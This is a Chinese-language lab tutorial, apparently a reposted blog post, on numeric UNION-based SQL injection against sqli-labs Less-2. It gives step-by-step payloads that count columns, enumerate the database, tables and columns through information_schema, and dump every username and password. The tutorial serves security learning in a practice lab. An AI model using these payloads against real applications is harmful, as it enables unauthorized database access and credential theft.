SQL注入——数字型union联合注入

目录

第一步:确定数字型还是字符型

第二步:使用group by的二分法判断union语句中前一个查询的列数

第三步:优化语句,将id改为一个不存在的数字

第四步:使用select语句,查询暴击数据库库名

第五步:使用select语句,查询靶机所有表名

第六步:使用select语句,查询靶机所有列名

第七步:查询所有用户名及密码

以sql-labs中的less-2为例:


第一步:确定数字型还是字符型

输入’判断是否存在注入点,如果报错则存在注入点

?id=1'

 用and语句判断数字型还是字符型

1=1可以正常显示:

1=2不能正常显示:

 

所以判断是数字型注入。

第二步:使用group by的二分法判断union语句中前一个查询的列数

因为是数字型注入,所以根本不用考虑闭合方式

?id=1 order by 3 --+

第三步:优化语句,将id改为一个不存在的数字

这样做的原因:

联合查询union默认只显示union前一段语句查询到的结果,我们将id改为一个不存在的数字,从而使前一段语句查询不到结果,显示出最后一段语句查询到的内容

?id=-1 union select 1,2,3  --+

 

第四步:使用select语句,查询靶机数据库库名

?id=-1 union select 1,2,database()  --+

第五步:使用select语句,查询靶机所有表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()  --+

第六步:使用select语句,查询靶机所有列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'  --+

第七步:查询所有用户名及密码

?id=-1 union select 1,group_concat(username,'~',password),3 from users  --+

猜你喜欢

转载自blog.csdn.net/heyingcheng/article/details/129344827